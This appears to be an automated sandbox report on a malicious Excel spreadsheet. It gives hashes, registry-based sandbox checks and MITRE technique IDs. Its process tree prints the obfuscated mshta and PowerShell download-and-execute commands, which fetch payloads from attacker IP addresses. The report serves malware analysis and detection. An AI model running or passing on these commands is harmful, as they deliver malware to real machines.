cb72411eda14bcfa779768a7613cfd14ee3fe81b4146cd94786f02b6f1a6c385

General

Target
6c468b658a36325eb4d31115e204cea0.xls
Size 129KB
Sample220118-mch2esahbl
SHA256 cb72411eda14bcfa779768a7613cfd14ee3fe81b4146cd94786f02b6f1a6c385
MD5 6c468b658a36325eb4d31115e204cea0
SHA1 7b5588ec8252120443840d78533f3d8b4b7014a6
SHA512 df1f4ea86e30d659c3b86ff62373d3a83efc2d60c7053c13acbe56a38cc4cb8cbf46b5342b80211b9168044389ff677670c7d8941f4607ed0ef466fc486115db
MD5 SHA1 SHA512

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper
http://0xb907d607/cc.html

Extracted

Language

ps1

Deobfuscated

Source

URLs

ps1.dropper
http://185.7.214.7/PP91.PNG

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3588	3688	cmd.exe	51

Blocklisted process makes network request 1 IoCs

flow	pid	Process
21	3300	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
3688	EXCEL.EXE

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
3688	EXCEL.EXE
3688	EXCEL.EXE
3688	EXCEL.EXE
3688	EXCEL.EXE
3688	EXCEL.EXE
3688	EXCEL.EXE
3688	EXCEL.EXE
3688	EXCEL.EXE
3688	EXCEL.EXE
3688	EXCEL.EXE
3688	EXCEL.EXE
3688	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 3688 wrote to memory of 3588	3688	EXCEL.EXE	57
PID 3688 wrote to memory of 3588	3688	EXCEL.EXE	57
PID 3588 wrote to memory of 3300	3588	cmd.exe	59
PID 3588 wrote to memory of 3300	3588	cmd.exe	59

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\6c468b658a36325eb4d31115e204cea0.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3688
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/c^c.h^tm^l
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:3588
- - C:\Windows\system32\mshta.exe
    mshta http://0xb907d607/cc.html
    3⤵
    - Blocklisted process makes network request
    PID:3300
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/PP91.PNG'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      PID:1724

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 408 -p 3300 -ip 3300
1⤵
PID:3468

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/3688-130-0x00007FFCE5130000-0x00007FFCE5140000-memory.dmp

Download

memory/3688-131-0x00007FFCE5130000-0x00007FFCE5140000-memory.dmp

Download

memory/3688-132-0x00007FFCE5130000-0x00007FFCE5140000-memory.dmp

Download

memory/3688-133-0x00007FFCE5130000-0x00007FFCE5140000-memory.dmp

Download

memory/3688-134-0x00007FFCE5130000-0x00007FFCE5140000-memory.dmp

Download

memory/3688-137-0x00007FFCE27D0000-0x00007FFCE27E0000-memory.dmp

Download

memory/3688-138-0x00007FFCE27D0000-0x00007FFCE27E0000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads